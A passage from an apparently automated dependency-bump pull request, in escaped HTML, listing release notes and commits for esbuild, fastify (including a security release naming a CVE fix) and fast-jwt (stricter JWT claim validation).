href=\"https://github.com/sapphi-red\"\u003e\u003ccode\u003e@​sapphi-red\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.24.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAllow \u003ccode\u003ees2024\u003c/code\u003e as a target in \u003ccode\u003etsconfig.json\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4004\"\u003e#4004\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eTypeScript recently \u003ca href=\"https://devblogs.microsoft.com/typescript/announcing-typescript-5-7/#support-for---target-es2024-and---lib-es2024\"\u003eadded \u003ccode\u003ees2024\u003c/code\u003e\u003c/a\u003e as a compilation target, so esbuild now supports this in the \u003ccode\u003etarget\u003c/code\u003e field of \u003ccode\u003etsconfig.json\u003c/code\u003e files, such as in the following configuration file:\u003c/p\u003e\n\u003cpre lang=\"json\"\u003e\u003ccode\u003e{\n  \u0026quot;compilerOptions\u0026quot;: {\n    \u0026quot;target\u0026quot;: \u0026quot;ES2024\u0026quot;\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAs a reminder, the only thing that esbuild uses this field for is determining whether or not to use legacy TypeScript behavior for class fields. You can read more in \u003ca href=\"https://esbuild.github.io/content-types/#tsconfig-json\"\u003ethe documentation\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/billyjanitsch\"\u003e\u003ccode\u003e@​billyjanitsch\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow automatic semicolon insertion after \u003ccode\u003eget\u003c/code\u003e/\u003ccode\u003eset\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThis change fixes a grammar bug in the parser that incorrectly treated the following code as a syntax error:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eclass Foo {\n  get\n  *x() {}\n  set\n  *y() {}\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe above code will be considered valid starting with this release. This change to esbuild follows a \u003ca href=\"https://redirect.github.com/microsoft/TypeScript/pull/60225\"\u003esimilar change to TypeScript\u003c/a\u003e which will allow this syntax starting with TypeScript 5.7.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow quoted property names in \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003edefine\u003c/code\u003e and \u003ccode\u003epure\u003c/code\u003e API options now accept identifier expressions containing quoted property names. Previously all identifiers in the identifier expression had to be bare identifiers. This change now makes \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e consistent with \u003ccode\u003e--global-name\u003c/code\u003e, which already supported quoted property names. For example, the following is now possible:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9129e00e6c36a3e374820cb5e3fc2cd319c8ab85\"\u003e\u003ccode\u003e9129e00\u003c/code\u003e\u003c/a\u003e publish 0.27.3 to npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e20e4115acda9c9f052fdd1ec8d7d5c5489e837b\"\u003e\u003ccode\u003ee20e411\u003c/code\u003e\u003c/a\u003e small fix to release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/0dc0f2dee556460bd7b81d5bbbae5a2f86449ab6\"\u003e\u003ccode\u003e0dc0f2d\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4322\"\u003e#4322\u003c/a\u003e: parse and print CSS \u003ccode\u003e@scope\u003c/code\u003e rules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/55fe39164cd3429fcb92c6f358a8dfe2f6e6e559\"\u003e\u003ccode\u003e55fe391\u003c/code\u003e\u003c/a\u003e update firefox css gradient support\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/2c35297c7ad249a51b9cc3974fa91f74dc13f68c\"\u003e\u003ccode\u003e2c35297\u003c/code\u003e\u003c/a\u003e update gradient lowering transform\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9209e4445abe7610018f0f758fd5d1fa13ec3ea8\"\u003e\u003ccode\u003e9209e44\u003c/code\u003e\u003c/a\u003e Update Go to 1.25.7 (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4388\"\u003e#4388\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e8d861b68cf8c3c3a4806ec87444ee48b9af1ade\"\u003e\u003ccode\u003ee8d861b\u003c/code\u003e\u003c/a\u003e close \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4374\"\u003e#4374\u003c/a\u003e: compat table for the \u003ccode\u003eusing\u003c/code\u003e feature\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/19b8887368396934957abd75f316cc069d6cc067\"\u003e\u003ccode\u003e19b8887\u003c/code\u003e\u003c/a\u003e no longer need \u003ccode\u003ewilliamkapke/node-compat-table\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/7e442189722b54bc6c574ae1148e1014d99e5f32\"\u003e\u003ccode\u003e7e44218\u003c/code\u003e\u003c/a\u003e the \u003ccode\u003ekangax/compat-table\u003c/code\u003e repo moved to a new url\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/23b9338ed5efbdfa29d59b8b0d8088b1761fdc39\"\u003e\u003ccode\u003e23b9338\u003c/code\u003e\u003c/a\u003e run \u003ccode\u003emake update-compat-table\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/evanw/esbuild/compare/v0.21.5...v0.27.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for esbuild since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastify` from 4.29.1 to 5.7.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.7.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-mrq3-vjjr-p77c\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-mrq3-vjjr-p77c\u003c/a\u003e \u003ccode\u003eCVE-2026-25224\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: update Reply.send() documentation for string serialization by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6466\"\u003efastify/fastify#6466\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: ignore agents config files by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6474\"\u003efastify/fastify#6474\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update vulnerability reporting to use GitHub Security by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6475\"\u003efastify/fastify#6475\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.7.2...v5.7.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.7.2...v5.7.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.7.2\u003c/h2\u003e\n\u003ch2\u003e⚠️ Notice ⚠️\u003c/h2\u003e\n\u003cp\u003eParsing of the \u003ccode\u003econtent-type\u003c/code\u003e header has been improved to a strict parser in PR \u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6414\"\u003e#6414\u003c/a\u003e. This means only header values in the form described in \u003ca href=\"https://httpwg.org/specs/rfc9110.html#field.content-type\"\u003eRFC 9110\u003c/a\u003e are accepted.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore: npm ignore AI related files by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6447\"\u003efastify/fastify#6447\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update sponsor url by \u003ca href=\"https://github.com/Eomm\"\u003e\u003ccode\u003e@​Eomm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6450\"\u003efastify/fastify#6450\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-http-exceptions to Ecosystem.md by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6442\"\u003efastify/fastify#6442\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix invalid shorten form schema example by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6448\"\u003efastify/fastify#6448\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Simplify and tighten decorators example by \u003ca href=\"https://github.com/smith558\"\u003e\u003ccode\u003e@​smith558\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6451\"\u003efastify/fastify#6451\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Fix incorrect variable use by \u003ca href=\"https://github.com/smith558\"\u003e\u003ccode\u003e@​smith558\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6455\"\u003efastify/fastify#6455\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update sponsor link by \u003ca href=\"https://github.com/Eomm\"\u003e\u003ccode\u003e@​Eomm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6460\"\u003efastify/fastify#6460\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Fix MIT Licence file to conform to standard by \u003ca href=\"https://github.com/smith558\"\u003e\u003ccode\u003e@​smith558\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6464\"\u003efastify/fastify#6464\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: move querystringParser option under routerOptions by \u003ca href=\"https://github.com/inyourtime\"\u003e\u003ccode\u003e@​inyourtime\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6463\"\u003efastify/fastify#6463\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Updated content-type header parsing by \u003ca href=\"https://github.com/jsumners\"\u003e\u003ccode\u003e@​jsumners\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6414\"\u003efastify/fastify#6414\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6442\"\u003efastify/fastify#6442\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.7.1...v5.7.2\"\u003ehttps://github.com/fastify/fastify/compare/v5.7.1...v5.7.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.7.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore: Bump actions/checkout from 5 to 6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6434\"\u003efastify/fastify#6434\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: updated version in the fastify.js by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6446\"\u003efastify/fastify#6446\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.7.0...v5.7.1\"\u003ehttps://github.com/fastify/fastify/compare/v5.7.0...v5.7.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.7.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: Improved firebase serverless guide about process remaining stuck by \u003ca href=\"https://github.com/alexandercerutti\"\u003e\u003ccode\u003e@​alexandercerutti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6380\"\u003efastify/fastify#6380\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update migration guide with date-time breaking change by \u003ca href=\"https://github.com/craftsman01\"\u003e\u003ccode\u003e@​craftsman01\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6110\"\u003efastify/fastify#6110\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: remove test file by \u003ca href=\"https://github.com/Eomm\"\u003e\u003ccode\u003e@​Eomm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6384\"\u003efastify/fastify#6384\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: speed up loading with custom compiler by \u003ca href=\"https://github.com/Eomm\"\u003e\u003ccode\u003e@​Eomm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6383\"\u003efastify/fastify#6383\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace all instances of twitter.com with x.com by \u003ca href=\"https://github.com/cseas\"\u003e\u003ccode\u003e@​cseas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6355\"\u003efastify/fastify#6355\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/49468eddb7c59e07fb95183afbf03498fccac99e\"\u003e\u003ccode\u003e49468ed\u003c/code\u003e\u003c/a\u003e Bumped v5.7.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/eb11156396f6a5fedaceed0140aed2b7f026be37\"\u003e\u003ccode\u003eeb11156\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d98ce2a0c030e18d27d93ed000788f95944ed910\"\u003e\u003ccode\u003ed98ce2a\u003c/code\u003e\u003c/a\u003e docs: update vulnerability reporting to use GitHub Security (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6475\"\u003e#6475\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/17172c40506604fd15f8e5f17299b671d4b58686\"\u003e\u003ccode\u003e17172c4\u003c/code\u003e\u003c/a\u003e Ignore agents config files (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6474\"\u003e#6474\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/b48826f07beaa925809c5e347d67a7e2502eb156\"\u003e\u003ccode\u003eb48826f\u003c/code\u003e\u003c/a\u003e docs: update Reply.send() documentation for string serialization (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6466\"\u003e#6466\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/e1e4fe75910c36e1b9ebb87026ca16c053a9c1f2\"\u003e\u003ccode\u003ee1e4fe7\u003c/code\u003e\u003c/a\u003e v5.7.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/32d7b6add39ddf082d92579a58bea7018c5ac821\"\u003e\u003ccode\u003e32d7b6a\u003c/code\u003e\u003c/a\u003e chore: Updated content-type header parsing (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6414\"\u003e#6414\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/f4a6ac1d0321e9f1757c165a2d423ccbefe7c9c9\"\u003e\u003ccode\u003ef4a6ac1\u003c/code\u003e\u003c/a\u003e docs: move querystringParser example under routerOptions (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6463\"\u003e#6463\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/2af83d64b53a0a786141d93edb9ffefac8b6446a\"\u003e\u003ccode\u003e2af83d6\u003c/code\u003e\u003c/a\u003e fix: Fix MIT Licence file to conform to standard (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6464\"\u003e#6464\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/5c14e05670c80455b99286ee0b6eac05eabec831\"\u003e\u003ccode\u003e5c14e05\u003c/code\u003e\u003c/a\u003e chore: update sponsor link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6460\"\u003e#6460\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v4.29.1...v5.7.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 4.0.5 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca 